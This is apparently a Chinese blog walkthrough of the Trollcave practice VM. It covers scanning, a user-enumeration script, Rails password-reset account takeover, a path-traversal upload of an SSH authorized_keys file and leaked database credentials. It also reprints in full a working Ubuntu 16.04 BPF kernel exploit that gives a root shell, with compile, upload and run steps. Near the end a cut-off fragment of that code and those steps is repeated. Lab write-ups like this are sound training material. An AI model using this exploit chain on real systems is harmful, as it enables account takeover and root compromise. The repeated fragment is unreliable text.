trollcave靶场

配置

第一步:启动靶机时按下 shift 键,

  • 进入以下界面

image-20230811104648298

第二步:选择第二个选项,然后按下 e 键,进入编辑界面

image-20230811104707659

将这里的ro修改为rw single init=/bin/bash,然后按ctrl+x,进入一个相当于控制台的界面,里面可以执行命令

image-20230811104721458

ip a 查看一下实际用的网卡,这里是ens33

image-20230811104737405

vim /etc/network/interfaces 看一下配置信息用的是哪一个网卡,如果不一致,则将这两个都改成 ens33

  • 按下 i 即可进入编辑模式

image-20230811104752952

/etc/init.d/networking restart 重启网卡服务

渗透流程

一、信息收集

发现ip

 netdiscover -i eth0 -r 192.168.16.0/24

or

nmap -sP 192.168.16.0/24

image-20230814093013319

获取到IP后收集详细信息:

nmap -sV -sC -A  192.168.16.128

开放端口80和22,版本ubuntu

image-20230814093808584

扫描目录

└─# gobuster  dir -u http://192.168.16.128    -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt

image-20230814095946342

收集网站用户名与角色信息

发现登录页面,点击下面发现用户进行了更换,更换是在上面得目录进行操作

image-20230814100228716

尝试获取全部用户名自己编写脚本

获取整个网页

#coding:utf-8 
import requests
import re
# 假设id是一个变量,用来构造请求的URL
def get_userinfo(id):  
    # 发送HTTP GET请求并获取响应的文本内容  
    response = requests.get("http://192.168.16.128/users/%s"  %id).text
    return response

print(get_userinfo('1'))

配置该内容:

<h1>King's page</h1>
<b>
Superadmin
</b>

添加正则表达式匹配对应的内容:

这里会用到 re 模块提供的一个函数为re.search。用于在字符串中搜索与正则表达式匹配的内容。它会在整个字符串中查找第一个匹配项,并返回一个匹配对象。

 #匹配内容 <h1>King's page</h1>
    username=re.search('<h1>(.*?)\'s',response).group(1)
#匹配内容 <b>Superadmin</b>
level=re.search('\s<b>\s(.*?)\s</b>',response).group(1)

#\s是换行符

完整获取:

#coding:utf-8 
import requests
import re
# 假设id是一个变量,用来构造请求的URL
def get_userinfo(id):  
    # 发送HTTP GET请求并获取响应的文本内容  
    response = requests.get('http://192.168.16.128/users/%s' %id).text
    #匹配内容 <h1>King's page</h1>
    username=re.search('<h1>(.*?)\'s',response).group(1)
    level=re.search('\s<b>\s(.*?)\s</b>',response).group(1)
    return username,level

for i in range(0,20):
    try:
        username,level=(get_userinfo(i))
        print(username+":"+level)
    except:
        None

image-20230814120054744

King:Superadmin
dave:Admin
dragon:Admin
coderguy:Admin
cooldude89:Moderator
Sir:Moderator
Q:Moderator
teflon:Moderator
TheDankMan:Regular member
artemus:Regular member
MrPotatoHead:Regular member
Ian:Regular member
kev:Member
notanother:Member
anybodyhome:Member
onlyme:Member
xer:Member

收集登录失败的提示:

每个账号失败提示的都不一样

image-20230814141252910

抓包获取登录面详细信息

image-20230814142315148

看到有个·utf-8编码删除看看会不会出错

image-20230814142548223

收集博客信息

1.发现该网站有部署密码重置功能

image-20230814151025370

image-20230814152013355

搜索发现rails是一个开发框架

image-20230814152107587

直接去github上寻找源码

https://github.com/rails/rails

image-20230814152220319

二、获取密码

尝试使用此路径登录password_resets

image-20230814153412125

百度搜索发现

image-20230814153627405

添加目录:

192.168.16.128/password_resets/new

x’e访问:

image-20230814153659756

成功出现修改密码页面

发现只能重置普通用户密码

image-20230814153732631

改为重置xer用户密码

进入他给的重置用户连接:

http://192.168.16.128/password_resets/edit.8QidiHVYZPZI8hN3uk4nzg?name=xer

image-20230814153947237

更改自动登录成功

image-20230814154025136

发现文件上传功能

上传报错404,可能是权限不够

image-20230814154300755

三、更换管理员用户,传马

利用重置密码链接,尝试修改用户名是否可以直接重置对应的密码。

 http://192.168.16.128/password_resets/edit.SbA7EAliLdkfS-R03alnUg?name=King

成功进来

image-20230814155209131

上传文件显示

File upload is currently disabled文件上载当前已禁用

在控制面板中开启

image-20230814155339924

再次上传

image-20230814155433118

打开连接得到路径

image-20230814155622608

image-20230814155639714

访问后门地址:

http://192.168.16.128//uploads/King/x.php

发现没有成功编译

image-20230814155756752

因为支持php编译

四、漏洞利用

1.任意位置文件上传利用

image-20230814161414877

会发现位置来到了上级目录

image-20230814161504908

尝试将文件上传到coderguy用户家目录下:错误可能用户不存在或没有权限

想到目标网站是rails部署的,运行web服务的用户会不会是rails呢?

尝试目录更换

../../../../../../home/rails/xx.gif

image-20230814161858077

2.ssh公钥免密利用

利用工具 ssh-keygen -f Identity

ssh-keygen的使用方法:

https://blog.csdn.net/qq_38570571/article/details/79268426

创建公钥

ssh-keygen -f Identity

image-20230814162257069

公钥创建成功

image-20230814162353400

将Identity.pub重命名为authorized_keys

authorized_keys 是linux 操作系统下,专门用来存放公钥的地方,只要公钥放到了服务器的正确位置,并且拥有正确的权限,你才可以通过你的私钥,免密登录linux服务器

image-20230814162758533

完成后上传到上传到/home/rails/.ssh/

../../../../../../home/rails/authorized_keys

image-20230814163015625

3.shell连接

ssh -i Identity rails@192.168.16.128

image-20230814163222907

权限为普通用户

五、提权

1.查看etc/passwd

image-20230814163555950

2.查看本地开启的服务

netstat -pant

image-20230814163951913

3.尝试去目录获取数据库账号密码

cd /var/www/trollcave/config

cat database.yml

image-20230814164417527

得到密码和账号

adapter: postgresql
database: trollcave
username: tc
password: sowvillagedinnermoment

这里连接失败,原因不知道

4.查看sqllit3数据库

sqlite3 /var/www/trollcave/db/development.sqlite3
select * from users;

image-20230814171554008

内核提权

已知服务器内核版本:Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-116-generic x86_64)

存在提权漏洞

poc地址:https://www.exploit-db.com/exploits/44298

/*
 * Ubuntu 16.04.4 kernel priv esc
 *
 * all credits to @bleidl
 * - vnik
 */

// Tested on:
// 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64
// if different kernel adjust CRED offset + check kernel stack size
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <string.h>
#include <linux/bpf.h>
#include <linux/unistd.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <sys/stat.h>
#include <stdint.h>

#define PHYS_OFFSET 0xffff880000000000
#define CRED_OFFSET 0x5f8
#define UID_OFFSET 4
#define LOG_BUF_SIZE 65536
#define PROGSIZE 328

int sockets[2];
int mapfd, progfd;

char *__prog = 	"\xb4\x09\x00\x00\xff\xff\xff\xff"
		"\x55\x09\x02\x00\xff\xff\xff\xff"
		"\xb7\x00\x00\x00\x00\x00\x00\x00"
		"\x95\x00\x00\x00\x00\x00\x00\x00"
		"\x18\x19\x00\x00\x03\x00\x00\x00"
		"\x00\x00\x00\x00\x00\x00\x00\x00"
		"\xbf\x91\x00\x00\x00\x00\x00\x00"
		"\xbf\xa2\x00\x00\x00\x00\x00\x00"
		"\x07\x02\x00\x00\xfc\xff\xff\xff"
		"\x62\x0a\xfc\xff\x00\x00\x00\x00"
		"\x85\x00\x00\x00\x01\x00\x00\x00"
		"\x55\x00\x01\x00\x00\x00\x00\x00"
		"\x95\x00\x00\x00\x00\x00\x00\x00"
		"\x79\x06\x00\x00\x00\x00\x00\x00"
		"\xbf\x91\x00\x00\x00\x00\x00\x00"
		"\xbf\xa2\x00\x00\x00\x00\x00\x00"
		"\x07\x02\x00\x00\xfc\xff\xff\xff"
		"\x62\x0a\xfc\xff\x01\x00\x00\x00"
		"\x85\x00\x00\x00\x01\x00\x00\x00"
		"\x55\x00\x01\x00\x00\x00\x00\x00"
		"\x95\x00\x00\x00\x00\x00\x00\x00"
		"\x79\x07\x00\x00\x00\x00\x00\x00"
		"\xbf\x91\x00\x00\x00\x00\x00\x00"
		"\xbf\xa2\x00\x00\x00\x00\x00\x00"
		"\x07\x02\x00\x00\xfc\xff\xff\xff"
		"\x62\x0a\xfc\xff\x02\x00\x00\x00"
		"\x85\x00\x00\x00\x01\x00\x00\x00"
		"\x55\x00\x01\x00\x00\x00\x00\x00"
		"\x95\x00\x00\x00\x00\x00\x00\x00"
		"\x79\x08\x00\x00\x00\x00\x00\x00"
		"\xbf\x02\x00\x00\x00\x00\x00\x00"
		"\xb7\x00\x00\x00\x00\x00\x00\x00"
		"\x55\x06\x03\x00\x00\x00\x00\x00"
		"\x79\x73\x00\x00\x00\x00\x00\x00"
		"\x7b\x32\x00\x00\x00\x00\x00\x00"
		"\x95\x00\x00\x00\x00\x00\x00\x00"
		"\x55\x06\x02\x00\x01\x00\x00\x00"
		"\x7b\xa2\x00\x00\x00\x00\x00\x00"
		"\x95\x00\x00\x00\x00\x00\x00\x00"
		"\x7b\x87\x00\x00\x00\x00\x00\x00"
		"\x95\x00\x00\x00\x00\x00\x00\x00";

char bpf_log_buf[LOG_BUF_SIZE];

static int bpf_prog_load(enum bpf_prog_type prog_type,
		  const struct bpf_insn *insns, int prog_len,
		  const char *license, int kern_version) {
	union bpf_attr attr = {
		.prog_type = prog_type,
		.insns = (__u64)insns,
		.insn_cnt = prog_len / sizeof(struct bpf_insn),
		.license = (__u64)license,
		.log_buf = (__u64)bpf_log_buf,
		.log_size = LOG_BUF_SIZE,
		.log_level = 1,
	};

	attr.kern_version = kern_version;

	bpf_log_buf[0] = 0;

	return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr));
}

static int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size,
		   int max_entries) {
	union bpf_attr attr = {
		.map_type = map_type,
		.key_size = key_size,
		.value_size = value_size,
		.max_entries = max_entries
	};

	return syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr));
}

static int bpf_update_elem(uint64_t key, uint64_t value) {
	union bpf_attr attr = {
		.map_fd = mapfd,
		.key = (__u64)&key,
		.value = (__u64)&value,
		.flags = 0,
	};

	return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr));
}

static int bpf_lookup_elem(void *key, void *value) {
	union bpf_attr attr = {
		.map_fd = mapfd,
		.key = (__u64)key,
		.value = (__u64)value,
	};

	return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr));
}

static void __exit(char *err) {
	fprintf(stderr, "error: %s\n", err);
	exit(-1);
}

static void prep(void) {
	mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3);
	if (mapfd < 0)
		__exit(strerror(errno));

	progfd = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER,
			(struct bpf_insn *)__prog, PROGSIZE, "GPL", 0);

	if (progfd < 0)
		__exit(strerror(errno));

	if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets))
		__exit(strerror(errno));

	if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0)
		__exit(strerror(errno));
}

static void writemsg(void) {
	char buffer[64];

	ssize_t n = write(sockets[0], buffer, sizeof(buffer));

	if (n < 0) {
		perror("write");
		return;
	}
	if (n != sizeof(buffer))
		fprintf(stderr, "short write: %lu\n", n);
}

#define __update_elem(a, b, c) \
	bpf_update_elem(0, (a)); \
	bpf_update_elem(1, (b)); \
	bpf_update_elem(2, (c)); \
	writemsg();

static uint64_t get_value(int key) {
	uint64_t value;

	if (bpf_lookup_elem(&key, &value))
		__exit(strerror(errno));

	return value;
}

static uint64_t __get_fp(void) {
	__update_elem(1, 0, 0);

	return get_value(2);
}

static uint64_t __read(uint64_t addr) {
	__update_elem(0, addr, 0);

	return get_value(2);
}

static void __write(uint64_t addr, uint64_t val) {
	__update_elem(2, addr, val);
}

static uint64_t get_sp(uint64_t addr) {
	return addr & ~(0x4000 - 1);
}

static void pwn(void) {
	uint64_t fp, sp, task_struct, credptr, uidptr;

	fp = __get_fp();
	if (fp < PHYS_OFFSET)
		__exit("bogus fp");
	
	sp = get_sp(fp);
	if (sp < PHYS_OFFSET)
		__exit("bogus sp");
	
	task_struct = __read(sp);

	if (task_struct < PHYS_OFFSET)
		__exit("bogus task ptr");

	printf("task_struct = %lx\n", task_struct);

	credptr = __read(task_struct + CRED_OFFSET); // cred

	if (credptr < PHYS_OFFSET)
		__exit("bogus cred ptr");

	uidptr = credptr + UID_OFFSET; // uid
	if (uidptr < PHYS_OFFSET)
		__exit("bogus uid ptr");

	printf("uidptr = %lx\n", uidptr);
	__write(uidptr, 0); // set both uid and gid to 0

	if (getuid() == 0) {
		printf("spawning root shell\n");
		system("/bin/bash");
		exit(0);
	}

	__exit("not vulnerable?");
}

int main(int argc, char **argv) {
	prep();
	pwn();

	return 0;
}     

编译exp

# 由于目标主机上没有gcc环境,在kali中编译
gcc -c pwn.c -o pwn    

利用ssh上传exp到目标主机

scp -i Identity pwn rails@192.168.16.128:/home/rails/

目标主机上提权

添加可执行权限

chmod +x pwn

运行提权成功

D_OFFSET); // cred

if (credptr < PHYS_OFFSET)
	__exit("bogus cred ptr");

uidptr = credptr + UID_OFFSET; // uid
if (uidptr < PHYS_OFFSET)
	__exit("bogus uid ptr");

printf("uidptr = %lx\n", uidptr);
__write(uidptr, 0); // set both uid and gid to 0

if (getuid() == 0) {
	printf("spawning root shell\n");
	system("/bin/bash");
	exit(0);
}

__exit("not vulnerable?");

}

int main(int argc, char **argv) {
prep();
pwn();

return 0;

}


### 编译exp

```sh
# 由于目标主机上没有gcc环境,在kali中编译
gcc -c pwn.c -o pwn    

利用ssh上传exp到目标主机

scp -i Identity pwn rails@192.168.16.128:/home/rails/

目标主机上提权

添加可执行权限

chmod +x pwn

运行提权成功

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

阿凯6666

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值